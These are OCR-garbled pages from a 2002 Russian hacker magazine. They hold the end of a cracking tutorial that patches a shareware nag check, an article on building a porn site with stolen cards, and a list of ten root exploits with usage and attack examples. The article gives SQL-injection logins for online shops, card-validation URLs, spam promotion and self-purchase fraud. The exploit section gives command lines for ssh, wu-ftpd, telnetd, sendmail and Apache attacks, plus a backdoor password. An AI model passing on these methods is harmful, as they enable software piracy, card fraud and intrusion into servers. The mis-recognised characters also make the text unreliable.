форм. Поэтому наша задача вернуться через стек на 
несколько процедур назад, к тому вызову, который 
отвечает только за пад-зсгееп. Есть один момент, ко- 
торый должен нам помочь. Ведь это окно появляется 
только в случае, если программа не зарегистрирова- 
на. Значит, скорее всего, перед нужным нам вызовом 
должна происходить проверка на предмет отсутствия 
в твоем кармане 69.95 вечнозеленых, отданных за ре- 
гистрационный ключ. Проверим наши умозаключе- 
ния. Для возвращения из текущей процедуры к точке, 
откуда она была вызвана (а точнее - к следующей за 
вызовом инструкции) служит команда Р ВЕГ (или кла- 
виша [Р12]). Попробуем нажимать ее, пока перед вы- 
зовом не увидим команду сравнения. После двух воз- 
вратов программа перестала выпадать в отладчик и 
заработало пад-окно. Нажимаем на нем кнопку "I 
Адгее", еще 3 возврата, и появляется нечто похожее 
на то, что нам нужно: 



005083ЕА 


МОѴ 


ЕАХ, [00514208] 


005083ЕГ 


МОѴ 


ЕАХ, [ЕАХ] 


005083Р1 


СМР 


ВѴТЕ РТВ 


[ЕАХ+000002РС] , 00 




005083Р8 


ЛІ7. 00508409 


005083РА 


МОѴ 


ЕАХ, [00514208] 


005083РР 


МОѴ 


ЕАХ, [ЕАХ] 


00508401 


МОѴ 


ЕОХ, [ЕАХ] 


00508403 


САН 


[ЕОХ+00000008] 


00508409 


ВЕТ 





По адресу 00508403 находится вызов, из которого 
программа только что вернулась. А по адресу 
005083Р8 - условный переход, обходящий этот вы- 
зов. Даем команду продолжить выполнение и выхо- 
дим из программы. Заново запускаем отладку, уда- 



ляем наш Ьгеакроіпі (команда ВС *) и устанавливаем 
новый (ВРХ 5083Р8). После продолжения вывалива- 
емся в отладчик как раз на условном переходе. Что- 
бы перескочить процедуру вывода пад-окна, сбра- 
сываем флаг 2 в регистре флагов (команда В РІ_=-2). 
Продолжаем выполнение. И что мы видим? Видим 
сразу главное окно программы. Никакого пад-окош- 
ка. Победа! Бежим к холодильнику за пивом. 



Создаем кряк 



Но мы добились результата в отладчике, теперь нужно 
исправить исполняемый файл и создать крэк. Как най- 
ти нужное смещение в файле, ведь в дизассемблере и 
отладчике мы работали с абсолютными адресами. Во- 
первых, можно просто поискать последовательность 
байтов в файле. Но это не серьезно. Их можно легко 
высчитать. Если ты уже закрыл программу - запусти 
по новой, если нет - вернись в ЗоТІІСЕ (комбинация 
[СВД). Набери команду МАР32 МАШЕМ. Ты уви- 
дишь абсолютные адреса сегментов ломаемой про- 
граммы. Нас интересует сегмент ССЮЕ, его адрес 
00401000. Вычитаем его из адреса найденной инст- 
рукции. Это можно сделать в командной строке того 
же ЗоЙІСЕ, просто набери ? 005083Р8-00401000. Уви- 
дишь результат 1073Р8. Это смещение команды отно- 
сительно начала сегмента. Теперь копируем 
плаіШіепл.ехе в сгаскесі.ехе. Последний открываем с 
помощью утилиты ОѴіеѵѵ. Переключаем ее в режим 
дизассемблирования (клавишей [Епіег]). Нажимаем 
[Р8] - просмотр заголовка, затем [РЗ] - список сегмен- 
тов. Физическое смещение сегмента ССЮЕ относи- 
тельно начала файла - 400. Т.е. условный переход на- 
ходится в файле по смещению 400+1 073Р8=1077Р8. 
Убедись, что файл просматривается как 32-битное 
приложение (переключение 16/32 бит - клавиша [Р2]). 
Далее нажми [Р5] и введи вычисленное нами смеще- 
ние для перехода на нужную команду. Осталось изме- 
нить условный переход на безусловный. Перейди в 



поле ассемблерных команд и исправь ЛМ2 на МР. 
Либо просто поменяй опкод 75 на ЕВ. Выйди из 
ОѴіеѵѵ, сохранив изменения. Запусти сгаскесі.ехе и 
убедись, что пад-зсгееп исчез бесследно. А мы всего- 
то поменяли один байтик. 

Осталось поделиться результатом со всей мировой 
общественностью. Т.е. создать крэк. Для этого вос- 
пользуемся утилитой Сотраге21ІпІітйесі. Заполни 
один раз файл С21І.СРС своими данными, и при ге- 
нерации крэка они автоматически будут подстав- 
ляться в файл. Утилита С21І требует два параметра 
- имена исходного файла и исправленного. Вот как 
выглядит наш крэк: 



[ВедіпСВХ"МАІІ_ТНЕМ.СВХ"]- 



Оезсгірііоп : [№2] МаіІ ТНет Рго 6.2 
Сгаск зиЬіесІ : Ыад-Зсгееп 

[ВедіпСВА] 

Раісіі ѵѵаз тасіе Іо зГюѵѵ Гіоѵѵ еазу сгаск рго- 

дгат 

#5ШСІ_Е 

#$І2Е 1485824 

#СНК$ІШ 94Е5ГЕС2 8ВС443С2 



ОИТегепсе(з) Ьеіѵѵееп таіШіет.ЕХЕ & 

сгаскесІ.ЕХЕ 

МАИТНЕМ.ЕХЕ 

001077Р8: 75 ЕВ 



[ЕпсІСНА] - 
[ЕпсІСВХ]- 



Вот и все. Теперь ты сам видишь, насколько легко 
ломаются современные программы. Удачных тебе 
взломов. В следующей статье я покажу, 
как обходятся другие виды защит и по- • 
могу освоить другой крэкерский инстру- 
ментарий. Щ П 



тпісн 



(Джентльмены, не могу не заметить, что этот совет от 
молодой, симпатичной (!) кодерши. Читай и стыдись, если 
ты этого не знал :] - И. С.) 



Как добраться до контрола в Эеірііі, который полностью 
скрыт под другими? 



1 ) Найди и выдели его в ОЬіесІ ТгееѴіеѵѵ. 

2) Щелкни мышкой по заголовку формы, на которой он 
лежит, чтобы она стала активной. 

3) Все, теперь доступ к меню открыт! Есііі -> Вгіпд То Ргопі. 



Динара сИпага@сІіпага.ги Шр://сііпага.ги 
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Что лучше: картинка или текст? Ноыіли монитор РЬіРірі С функцией 
І-і^ііѴйтс III автоматически распознает текстовые и графические области 
файла и показывает каждую из ник с оптимальным разрешением. Для чего 
а то нужно? РЬіІфі Іі&НіГгате II I Более качественно передает изображение 
интернет -страниц, презентаций РоѵѵегРоіпи увеличивает возможности 
редактирования фотографий и улучшает изображение в челом. Не важно 
какой у Бас компьютер. Важно какие периферийные устройства Бы 



используете... 









>.*еа ■:=-рлг, 
Пймак йнг’чцр 



і«ртш 

Пфгвя 



рщшрпі 

- *■■■ Нйщ з, 

іСР. в І 4 І Л -Ч& 

гоіі'^шмг 
да. Ч* * V? 



й>*гтМы-,^ 



Гн 




даі т Л ■■ 
«тііЬНВ 
да^тГг і г?? 
кйі *і*№ 

ЛіІ^іП-О 1 

ІН№ *1 5 " -Н 




» 14 ***г '-Гь у 



ЖЧ|ѴІ І> *7 
43134 II п 31 
.МѴ'ѴІ V' 
ЯЧІ т «пн,- 
ГКІІ 1*1 В Ч 



■Ип.И 



| <Раде 044>| 



| ХАКЕР\№45\СентяБрь\2002 



Взлом 



КАК СТАНОВЯТСЯ ПОРНОБАРОНАМИ 



Ѵігиз (сагсІ@Ііаскпоѵѵ.огд) 




т 



ПОРНОЗАРПЛАТА 




КАК СТАНОВЯТСЯ ПОРНОБАРОНАМИ 



| Все изложенное в статье подается как инфор- 
| мация. Чтобы ты всегда мог сказать: "Да, те- 

■ перь я об этом знаю достаточно". Мы настоя- 
* тельно не рекомендуем применять эти знания 
I на практике, т.к. многие из этих действий яв- 
| ляются незаконными: 

■ Статья 159. Мошенничество. 

[ Статья 242. Незаконное распространение 
I порнографических материалов или пред- 
| метов. 



Порно. Причудливые ассоциации... У некоторых сра- 
зу же возникают мысли о спрятанных видеокассетах 
в ящиках, у других - имена файлов, под которыми 
скрываются образы видео с жестким хардкором, из- 
вращениями под названием "зііе таіе", вездесущими 
ІезЬіапз и дауз. И таких большинство. Но если ока- 
заться не со стороны потребителя этой "чернухи", а 
ее продавцом, то можно зарабатывать и жить на эти 
деньги. О чем и разговор в этом материале. 



Подготовка 



Зарабатывать можно разными способами: более или 
менее легальным и не совсем легальным. При пер- 
вом способе просто привлекаются настоящие поку- 
патели порно. Приманивают их различной рекламой 
сайта, например, большущим спамом. Способ му- 
торный, но заработанные деньги уже вряд ли забе- 
рут. Второе - это кардинг у самого себя. Здесь дале- 
ко не все так гладко: если будет большой процент 
фрауда, то заработанные деньги попросту не выпла- 
тят да еще и аккаунт на биллинге закроют. 

Большое распространение получил второй вариант, 
но для него необходимо довольно немалое количест- 
во живых кред. Их можно затрэйдить в ІВС, вытащить 
из поломанных онлайн-магазинов. Особой популяр- 
ностью пользуется ломка этих самых зіюр'ов. Вот 
один из способов: взлом кривых интернет-магазинов 
ѴР-АЗР. Можно просто зайти на какой-нибудь поис- 
ковик (американский), набрать в строке поиска "ѴР- 
АЗР" (без кавычек). Отобразится список магазинов с 
установленным ѴР-АЗР. К адресам этих шопов доба- 
вить "/зііорасітіп.азр". В итоге адрес получится при- 
мерно таким: ІШрУ/зІюр.сот/зІюрабтіп.азр. Надо 
зайти на эту страницу, а в появившихся полях ввода 
логина/пароля ввести либо 'ог"=' (со всеми кавычка- 
ми), либо ѵразр/ѵразр или абпліп/асіпліп. Также можно 
посмотреть инфу о том, где лежит сама база, сфор- 
мировав запрос вида ІШр://5Іюр.сот/зІюрріпд/ 
зііорсІЬіезі.азр. 

Чтобы проверить кредитные карты, можно вос- 
пользоваться либо х-логином авториза 



(ѵѵѵѵѵѵ.аиіііогіге.пеі), сформировав урл вида: 
ііирз://зесиге.аиШоп2е.пеѴдаІеѵѵауДгап5асТсІІІ?х_ 
Іодіп = х_логин&х_сагсІ_пит = номер_кре- 
ды&х_Туре=АІІТН_ОМІѴ&х_АтоипІ=00.01&х_Ехр_ 
Оа{е=эксп.дата_креды. Еще такую проверку мож- 
но совершить в ІВС, зайдя на каналы #!сИк или 
#сссИк на ОАІ_пе{ (ігс.сіаі.пеі). 




Здесь можно чекать креды 



Хостинг и домен 



Самый простой способ найти подходящий хос- 
тинг под проект - посмотреть, где в основной 
своей массе хостятся порнушные сайты. Это оп- 
ределяется через обычные ѵѵИоіз запросы по име- 
ни домену (например, через программу 
ЗтагШюіз). Конечно же, найденный хостинг не 
должен быть бесплатным, иначе многие конторы, 
предоставляющие услуги биллинга для сайтов, 
откажутся работать по причинам непрестижности. 
Да и вообще, немногие халявные хостеры дают 
право на доступ к . Иіассезз (а он понадобится, так 
как при помощи именно этого файла разграничи- 
вается доступ пользователей к порнухе). 

Много порнухи хостится на ѵѵѵѵѵѵ.ѵегіо.сот и саѵе- 
сгеек.пеі. Есть также сайты, ориентированные на 
хостинг только порнухи (например, как 
зехуіюзі.сот). Ни на одном из этих хостеров не 
нужна креда с сѵѵ, а если и нужна, то можно вос- 
пользоваться ботами-генераторами-сѵѵ. Сам до- 
мен в принципе можно приобрести у кого угодно, 
но лучше всего у пеізоі.сот или у проверенной 
временем Ьиусіотаіпз.сот. Чем они хороши: эти 
конторы не особо следят за фраудом. Регнув до- 
мен и хостинг, надо заливать контент. Очень важ- 
но побыть бета-тестером: проверить весь сайт на 
работоспособность (линки, везде ли верно пропи- 
саны раШ'ы к графике и т.д.), чтобы потом не бы- 
ло "охов" и "ахов". 




Популярный порнохостинг 



Поиск и заливка контента 



Контент (будущее содержание сайта, т.е. графика и 
сама порнуха :)) должен выглядеть более или менее 
приемлемо, чтобы не смущать глаз добропорядочно- 
го америкоса, решившего легально (!) регнуться. За 
контентом можно сбегать на митьку или близлежа- 
щий радио-рынок, где необходимо будет приобрести 
2-3 компакт-диска соответствующего содержания. 
Желательно наличие и архива картинок, и самого ви- 
део, так как большинство хочет видеть "действия" в 
движении :). 

Если же есть наличие неплохой выделенной линии 
и бегать куда-то лениво, можно слить весь нужный 
контент из Интернета. Порник можно взять с ТСР 
(например, с Шеііип.пеі) при помощи программы 
НИР ѴѴеагеІ ( ИІІр : //ѵѵѵѵѵѵ . ИИрѵѵеагеІ . со т/) , скачав 
картинки галер. Еще можно купить доступ к плат- 
ным порнослужбам и сливать контент уже с них. В 
плане большого количества хорошего видео можно 
выделить два сайта: ѵѵѵѵѵѵ. геаІЬиНз. сот и 

ѵѵѵѵѵѵ.абиШэоиспег.сот. 




Выкачиваем порно 

И вот способ как быстро слить и закачать на свой 
сайт большие видеофайлы. Необходимо наличие 
зііеіі доступа к какому-нибудь шустрому ипіх-сер- 
веру, где свободного места не меньше нескольких 
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сот мегабайт. На таком сервере видеопорник раз- 
мерами 100-200 мегабайт можно перелить бук- 
вально за несколько минут, даже если это делает 
обычный сііаіир'щик! Просто эти порнофайлы ска- 
чиваются через стандартные ипіх программы вро- 
де: ѵѵдеі или Іупх. Потом они заливаются уже на 
сайт при помощи обычной утилиты Йр. Так эконо- 
мится просто жуткое количество времени. 

После получения контента его нужно будет как-то 
структурировать. Делать это лучше всего взяв на за- 
метку другие сайты подобного содержания. Самые 
популярные разделы: Іеепз, Магсісоге, зойсоге, Іез- 
Ьіапз. Внешний вид будущего сайта можно тоже по- 
заимствовать и немного видоизменить. 



Регистрация своего биллинга 



Биллинг лучше делать в іЬіІІ.сот или ссЫІІ.сот. Но 
тут появляется проблема: где замутить счет? Ведь 
просто обналичивать чеки долго и беспонтово, по- 
этому вопрос решается по-другому. Есть один инте- 
ресный банк - йігегЬапк.сош! Находится юридичес- 
ки в Черногории (оффшорная зона, налогов 0), а с 
деньгами позволяет совершать всевозможные опе- 
рации. Что же, лучше делать счет у них. Он активи- 
руется в течение 24 часов. Единственная трабла - 
расчетные операции будут заблокированы до мо- 
мента получения заполненных документов (что не 
проблема, можно отправить свое фото в 16 града- 
циях серого, ничего страшного, банку - все равно). 
По прошествии суток счет будет готов! Далее надо 
заполнить всю полученную инфу от банка в полях 
регистрации спонсора (указывать нужно валютный 
1150-счет). После накопления на счету $100 можно 
заказать себе креду (ее вышлют курьерской поч- 
той). И уже здесь, в России, не парясь с обналичи- 
ванием чеков, ходить и снимать бабло :). 




Биллинговая система ІЬіІІ.сот 

Теперь установка биллинга у ибила или ссбила (у 
обоих креды можно вбивать без сѵѵ кода). Надо 
обязательно указывать ВЕРНЫЙ логин и пароль для 
доступа к своему хостингу. Почему так? Эти биллин- 
ги САМИ настраивают все необходимые скрипты 
для разграничения доступа пользователей к сайту! 
Т.е. не придется мучаться и писать свои скрипты. 
Также в форме необходимо указывать, какие "под- 
писки" будут присутствовать на порносайте (ска- 
жем, 1 неделя - $3, месяц - $20 и т.д.). После неко- 
торого периода времени придет письмо об успеш- 



ной регистрации в системе и извещение о том, что 
все настройки на хостинге прошли как надо. 



Раскрутка и заработок 



После того как сайт готов и на нем можно регист- 
рироваться, надо начинать привлекать посетите- 
лей. Сайт раскручивается разными способами. На- 
пример, можно провести большие спам рассылки. 
Для этого придется заиметь крупный зрапліізі. Вы- 
торговать его можно в том же I ВС в обмен на кре- 
дитные карточки. Сами рассылки при наличии 
спамлиста удобно проводить при помощи програм- 
мы МаіШіет (ѵѵѵм.таіШіет.пеІ) или через специ- 
альные скрипты с сервера. 

Другой способ раскрутить сайт - замутить у себя 
отдельную галеру для ТГП с ссылками на свой сайт 
(или же с поп-ап окном). Это достаточно неплохой 
способ, но трафика поедает много. Также можно 
создать у себя рейтинг порносайтов, раскрутить 
его и тогда уже поместить вверху топ-рейтинга 
ІЖ своего сайта. Но эти варианты занимают при- 
личное количество времени, а можно по-другому, 
просто зарегистрироваться в сотнях поисковых 
систем. Руками это делать необязательно, так как 
есть специальная программа ЗиЬтіМой 
(!ійр://ѵѵѵѵѵѵ.йеІІіап.сот/5ѵѵоІ(/). Она сама добавит 
сайт во многие поисковики. 

Если посетителей совсем мало, соответственно поку- 
пателей еще меньше или их вообще нету, то сущест- 
вует вариант мошенничества. В дан- 
ном случае владелец порносайта сам 
является покупателем: покупается 
доступ у самого себя к своему же 
сайту через чужие кредитные карты. 

Этот способ уже чреват последствия- 
ми, так как деньги поступают неле- 
гальным путем, к тому же за большой 
процент фрауда биллинг просто отка- 
жется работать с сайтом. 



Хэппи энд 



Ну что, начитался? Вот так все обыч- 
но и происходит. Достаточно боль- 
шое количество продвинутых рос- 
сийских граждан открывает порно- 
сервера в Штатах и честно (или не- 
честно) зарабатывают себе на 
жизнь. Некоторые довольствуются 
сотней $$ в месяц, другие раскручи- 
ваются до 5-10 штук $$ постоянного 
дохода. Новички обычно умудряются 
зарабатывать на америкосах около 
300-500$ чистой прибыли. Т.е. около 
1000$ с заказов, минус расходы на 
поддержку сайта и проценты. 



Статья 159. Мошенничество. 



/. Мошенничество. Наказывается лишением 
свободы до трех лет. 

2. Мошенничество, совершенное: 

а) группой лиц по предварительному сговору; 

б) неоднократно; 

в) лицом с использованием своего служебно- 
го положения; 

г) с причинением значительного ущерба 
гражданину - 

Наказывается лишением свободы на срок от 
двух до шести лет со штрафом в размере до 
пятидесяти минимальных размеров оплаты 
труда. 

3. Мошенничество, совершенное: 

а) организованной группой; 

б) в крупном размере; 

в) лицом, ранее два или более раза судимым 
за хищение либо вымогательство - 
Наказывается лишением свободы на срок от 
пяти до десяти лет с конфискацией имущест- 
ва или без таковой. 



Статья 242. Незаконное распростране- 
ние порнографическихматериалов или 
предметов. 



| Наказываются лишением свободы на срок до | 
| двух лет. 





Кодинг 




Оиі*> 


















| <Раде 046>| 



| ХАКЕР\№45\СентяБрь\2002 | 




^ Агез (агез2000@Ио1Ьох.ги) 



Обычная ситуация: читаешь свежий баг- 
трак, напротив сообщения об очередном 
переполнении, линк на эксплойт к оному. 
Эксплойтов существует великое множест- 
во, но далеко не каждый имеет такую раз- 
рушительную силу (гетоіе/іосаі гооі 
ассезз) и огромное количество подвер- 
женных уязвимости жертв. Как раз о таких 
мы и поговорим далее. Кстати, для гетоіе 
эксплойтов «крутостью» является не обя- 
зательно гооі доступ, а просто возмож- 
ность получения шелла с любыми права- 
ми. Далее они могут быть подняты уже 
при помощи других локальных эксплойтов. 
Начнем представлять наш смертельный 
набор, эксплойт за эксплойтом :)... Ска- 
чать их можно с ѵѵѵѵѵѵ. хакер. ш. 



1 . х2. Очень популярный эксплойт к ззііб сер- 
вису. Одно время был гордостью трейдеров, а уж 
они чего только не делали: создавали хЗ и х4 и 
т.д., отличавшиеся списком ІагдеГов, добавляли 
сканер на уязвимые ззб серверы. 

[гооІ@ѵмѵѵ 2 І 0 ]#./х 2 

ЗЗНЭ беайаск ехріоіі. Ву Эѵогак ѵѵіШ Собе Ігот 
Іезо (бйр://ѵмѵѵ.Іеат-Іезо.пеІ) 

ІІзаде: ззбб-ехріоіі -I# <орІіопз> Нозі [рогі] 
Орііопз: 

-I пит (тапсіаіогу) беііпез Іагдеі, изе 0 Іог 
Іагдеі: Іізі 

-X зігіпд зкірз сеііаіп зіадез 
[гооІ@ѵѵѵѵѵѵ 2 І 0 ]# 

Помимо самого бинарника, с ним идет файл 
Іагдеіз, содержащий готовый набор оТСзеІ’ов 
для различных версий ззііб. Их можно легко до- 
бавлять самому (принцип добавления можно 
посмотреть на основе уже готовых офсетов). 
Просмотреть список доступных Іагдеі’ов можно 
по команде: 

[гооІ@ѵмѵѵ 2 І 0 ]#./х 2 -I О 

ЗЗНЭ беайаск ехріоіі. Ву Оѵогак ѵѵіШ Собе Ігот 
Іезо (бйр://ѵмѵѵ.Іеат-Іезо.пеІ) 

Тагдеіз: 

(1) ЗтаІІ-ЗЗН- 1.5- 1.2.24 

(2) ЗтаІІ-ЗЗН-1. 5-1. 2.25 

(3) ЗтаІІ-ЗЗН-1. 5-1. 2.26 



Ехатріе: [гооІ@ѵмѵѵ іІ0]#./х2 -I 1 
123.123.123.123 

Эксплойт работает только на О'пих, хотя ходят 
слухи, что существует версия, работающая на 
*ВЗЭ системах. Когда будешь его использовать, 
не обольщайся: он будет работать на любом сер- 
вере, но на одном может пройти, а на втором по- 
сле продолжительного ЬпМогсе’а обломаться. 

2. 7350ѵѵигт. Удаленный гооі эксплойт для 
34 различных версий ѵѵи-Йр демона под разные 






ЕХРЮНрр 

Самые популярные 

и разрушительные эксплойты 
последнего времени! 



дистрибутивы І_іпих. 
Именно из-за него про- 
изошел небольшой скан- 
дал между ТЕЗО и 
РаскеІЗІо гт Зеси гііу (по- 
сле этого был подвержен 
ОЭоЗ атаке, ТЕЗО не 
взял на себя ответствен- 
ность =)). Дело в том, 
что этот приватный экс- 
плойт был выложен на 
сайте пакетсторма, но в 
нем плюс к этому содер- 
жался Ьаскбоог. 
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[ГООІ@ѴМѴѴ 2І0]# 

./7350ѵѵигт 
7350ѵѵигт - х86/1іпих 
ѵѵийрб <= 2.6.1 гетоіе 
гооі (ѵегзіоп 0.2.2) 

Іеат Іезо (Шх Ьпиіз, Іотаз, зуппегду.пеі !). 
Сотрііеб Іог МпМ 01/12/2001 ..ргОІ! 

изаде: ./7350ѵѵигт [-6] [-ѵ] [-а] [-0] [-т] 

[-1 <пит>] [-и <изег>] [-р <разз>] [-6 

ІІОЗІ] 

[-І_ <геІІос>] [-А <геІаббг>] 

[гооІ@ѵмѵѵ 2 І 0 ]# 



АИНКИ К СТАТЬЕ 



Іп№р://ѵѵѵш.зесигі1^/.ппоѵ.ги 

Мйр://\АЛААА/.зесигіЦ/ІаЬ.ги 

ИЦ;р://ѵѵѵѵѵѵ.зесигі^оси5.сопп 

Иб:р://ѵѵѵѵѵѵ.раскеІБЦзгтзесигі^.огд 

М№р://\лллАЛ/.Теат-Тезо.пеТ 



Ключ -а включает автоматический режим, Іагдеі 
будет выбран исходя из сервисного баннера, 
список доступных Іагдеі’ов можно посмотреть, 
указав ключ -1 0. Ключи -и & -р используются для 
указания изег/разз при логине к фтп (стандартно 
анонимное соединение), -ѵ и -0 используются 
для вывода дополнительной информации во вре- 
мя работы эксплойта. Атакуемый сервер указыва- 
ется после параметра -б. 




Поломанный сервер 

Ехатріе: [гооІ@ѵѵѵѵѵѵ2І0]#./7350ѵѵигт -1 1 -б 
123.123.123.123 

3. 735(Жт. РНР гетоіе ехріоіі, дает права 
Іійрб процесса, часто встречается поЬобу, но, как 
было сказано выше, это не беда. Работает отлич- 
но, но нужно грузить с быстрого шелла, так как 
брутфорс иногда затягивается надолго. Рассмот- 
рим подробней: 

[гооІ@ѵмѵѵ 2І0]# ./73501ип 

73501ип - х86/1іпих тоб рИр ѵ4.0.2гс1-ѵ4.0.7РС2 

гетоіе ехріоіі 

Ьу Іогіап. 

изаде: ./73501ип [орііопз] <1юз1пате> <рИр- 
ІіІе> 

Орііопз: 

-с сбеск ехрІоііаЫІИу опіу, бо поі ехріоіі 
-п по сііеск тобе 

-з зіагі Ьгиіеіогсе зіагі (Іор) 

-I Іагдеі сИоозе Іагдеі 

(1) РНР ѵ4.0.2гс1 -ѵ4.0.5 
(2) РНР ѵ4.0.6-ѵ4.0.7РС2 

[ГООІ@Ш/ѴѴ 2І0]# 

Для эксплойтинга нам понадобится уязвимый 
хост, помимо этого обязательно присутствие лю- 
бого *.рНр файла на сервере, который мы долж- 
ны ввести в качестве параметра (также допу- 
стимы рбр скрипты - *.рбІтІ). -4 



Реррум ^ЭРС Іопе 



Юниксоид 








А 






Гель для умывания Клерасил Комплит 3 в 1 

При ежедневном использовании устраняет три основные причины 
появления прыщей. Очищает, открывает поры, уничтожает бактерии. 
У тебя чистая и здоровая кожа. 




Средства для предотвращения угревой сыпи 



О В00Т8 НЕАЬТНСАКЕ 
ШТЕІШАТКЖАЬ 




Очищающий Увлажняющая Гель для Гель для умывания Очищающий Очищающий лосьон Очищающие 
гель для тела эмульсия умывания для чувствительной лосьон для для чувствительной салфетки 

кожи жирной кожи кожи 




іллліілі. сіеагазіі . ги 



Средства для лечения угревой сыпи 



товар сертифицирован 











Взлом 



ТОР 10 ЕХРЮІТ5 



Агез (аге52000@ИоІЬох.ги) 






У 



Ехатріе: [гооі@ѵѵѵѵѵѵ2І0]#./7350Іип -і 2 
ѵмѵѵ.Ьозі.сот іпсІех.рИр 

С параметрами все должно быть ясно. Единствен- 
ное, уделю внимание параметру -з, при удачном 
взломе запомни, по какому адресу у тебя сработал 
эксплойт, и в следующий раз (частенько случайно 
нажимается сігі+с), указав его в данном параметре, 
сразу получишь шелл на удаленном сервере. 

4. 7350854. Удаленный гооі эксплойт для іеі- 
пеіб в некоторых *В50 системах (РгееВЗО 3.1 , 
4.0-ВЕЦ 4.2-ВЕЦ 4.3-ВЕГА, 4.3-5ТАВБЕ, 4.3- 
РЕЬЕАЗЕ; ИеШЗО 1.5; ВЗОІ ВЗЭ/ОЗ 4.1). 

[гооі@ѵѵѵѵѵѵ 2І0]# ./7350854 

7350854 - х86/ЬзсІ іеіпеіб гетоіе гооі ехріоіі 

ІІзаде: ./7350854 [-п <пит>] [-с] [-і] <ір> 

-п пит питЬег оі рориіаіогз, Гог ГезГіпд ригрозез 
-с сЬеск ехрІоіГаЬіМГу опіу, сіо поі ехрІоіГ 
-і іогсе тобе, оѵеггібе сЬеск гезиІГз 





5М5-сервис "Мобайл Форум" позволяет 
разместить свое объявление на вирту- 
альной лоске объявлений, просмотреть 
объявления других пользователей, а, 
главное, пообщаться с автором 
понравившегося объявления в режиме 
реального времени! 

При этом Ваш телефон не раскрывается! 



КАК ПОЛЬЗОВАТЬСЯ УСЛУГОЙ? 




Ехатріе: [гооі@ш/ѵѵ 2І0]#. /7350854 

123.123.123.123 

Если эксплойт отказывается работать, ссылаясь на 
неуязвимость сервера, можно использовать ключ -і, 
с которым будет произведена попытка эксплойтин- 
га в любом случае. Желательно запускать эксплойт 
с быстрого шелла, потому что в ходе работы он по- 
сылает 16/32тЬ трафика на удаленную машину. 

5. рГгасе. І_іпих кегпеі 2.4* ІосаІ гооГ ехрІоіГ 
Очень прост в использовании. Достаточно запустить 
его, остальное он сделает сам. Есть один нюанс, 
для работы нужно иметь нормальный Ку зЬеІІ (прой- 
ти авторизацию на сервере через ГеІпеГ/ззО серви- 
сы), в противном случае работать он не будет. 

6. ІОЗілазМ. зібіо кегпеі Ьид во всех версиях 
РгееВЗО до 4.5-ВЕІ.ЕАЗЕ (включая). Позволяет 
непривилегированному пользователю получить 
ІосаІ гооГ доступ. Как и предыдущий эксплойт, 
требует только запуска, после чего выполняем 
команду «эй зпозоіі», вводим пароль «МАЗЗ ОАТ 
РЮІ_І_ТООІ_АШ САМ», ну и, наконец, «зи гооГ», 
пароль вводим тот же. 

Ехатріе: >./іозтазЬ 
Аббіпд рЬазеб: 

<- НІТСТВЮ — > 

> зи 

з/кеу 98 ЗПОЗОЙ2 

РаззѵѵогсШАЗЗ ОАТ В01±Т001_ АОО САМ 

> зи гооі 

Раззѵѵогб:МАЗЗ ОАТ В01±Т001_ АСЮ САМ 
# 

После этого получаем гооГ а. 

7. Вот подобрались и К ЗипОз’у. Пред- 
ставляем ЗипОз 5.7 ГеІпеГсІ гетоіе гооГ ехрІоіГ. 

[гооі@ш/ѵѵ 2 І 0 ]# ./зипоз 

Зоіагіз /Ьіп/Іодіп аггау тізтапдетепі ехрІоіГ Ьу 

тогдап@зехіег.сот 

изаде: ./зипоз <Ьозі> 

-г <геіигп аббгезз> 

-I <геіигп ІосаГіоп> 

-р <рогГ> 

-і <іагдеі питЬег> 

-е [Гог ІосаІ /Ьіп/Іодіп ехесиііоп тобе сЬеск Гог +з] 
./зипоз -е <орііопз> | /Ьіп/Іодіп 
-Ь ЬгиГе Гогсе тобе 
ГагдеГз аге... 

0) ЗипОЗ 5.7... ІосаІ 

1) ЗипОЗ 5.7... гетоіе 

2) ЗипОЗ 5,7... гетоіе 2 
[гооі@ѵѵѵѵѵѵ 2 І 0 ]# 

Ехатріе: [гооі@ѵѵѵѵѵѵ 2І0]# ./зипоз -р 23 -1 1 

123.123.123.123 

Если с іагдеі 1 не удалось эксплойтировать хост, 
попробуй ГагдеГ 2. Он использует уже другой ад- 
рес возврата. 

8. Йр ругали, ззИ, рНр тоже, Іеіпеісі 
подавно. . . добрались до зепбтаіГа. Это заме- 



чательный ІосаІ гооГ ехрІоіГ под зепбтаіі версии 
8.11.* (кроме 8.1 1.6). 

[гооі@ш/ѵѵ 2 І 0 ]# ./зхр -Ь 
./зхр [соттапб] [орГіопз] 

-Ь ГІііз Ьеір 

-б зресіГу берГИ оі апаіузіз (беіаиІі=32) 

-о сЬапде оіізеі (беГаиІГ = -32000) 

-ѵ зресіГу ѵісііт (беГаиІГ /изг/зЬіп/зепбтаіІ) 

-і зресіГу іетр бігесГогу (беГаиІГ /ітр/.зхр) 

-Ь епаЫез ЬгиГеГогсе (ѴѴАВМІІМС: ГИіз тау іаке 
аЬоиі 20-30 тіпиГез!) 

Для работы требует обычного запуска, с дефол- 
товым оффсетом работает на гЬ7.0, гЬ7.1 , 
зизе7.2, зіаскѵѵаге 8.0, для остальных используем 
ключ -Ь (ЬгиГеГогсе). Бывает, что админ меняет 
обычное название зепбтаіі, например, на 
/изг/зЬіп/зепбтаіІ.герІасеб. Если это так, то до- 
бавляем ключ -ѵ и указываем путь к файлу. 

9. арасЬе-позфЬ. *ВЗО гетоіе АрасЬе ехрІоіГ. 

Этот эксплойт по праву можно назвать эксплойтом 
лета, его релиз шокировал огромное количество 
людей. Такие вещи обычно максимально долго 
держатся в узких кругах, но СОВВЬЕЗ решили пре- 
доставить его публике. Уязвимости подвержены 
только некоторые версии из *ВЗО, но, несмотря 
на это, таких серверов огромное количество. 

[гооі@ш/ѵѵ 2І0]# ./арасЬе-позфЬ 

СОВВЬЕЗ ЗесигіГу ЬаЬз - арасЬе-позфЬ. с 

ІІзаде: ./арасЬе-позфЬ <-зѵѵіісЬез> -Ь Ьозі[:80] 
-Ь МозГ[:рогГ] НозГ іо репеГгаГе 

-і # ТагдеГ іб. 

ВгиГеГогсіпд орГіопз (аІІ гециігеб, ипіезз -о із изеб!): 
-о сЬаг ОеГаиІГ ѵаіиез Гог ГМе ГоІІоѵѵіпд 08ез 
(Г)гееЬзб, (о)репЬзб, (п)еГЬзб 
-Ь 0x1 2345678 Вазе аббгезз изеб Гог ЬгиГеГогсе 
Тгу 0х80000/оЬзб, 0х80а0000/ГЬзб, 
0х080е0000/пЬзб. 

-б -ппп тетсруО беІГа Ьеіѵѵееп зі апб 

аббг іо оѵепл/гііе 

Тгу -146/оЬзб, -1 50/ГЬзб, -90/пЬзб. 

-г # МитЬегз оі ііте іо гереаі \0 іп іЬе ЬиГГег 
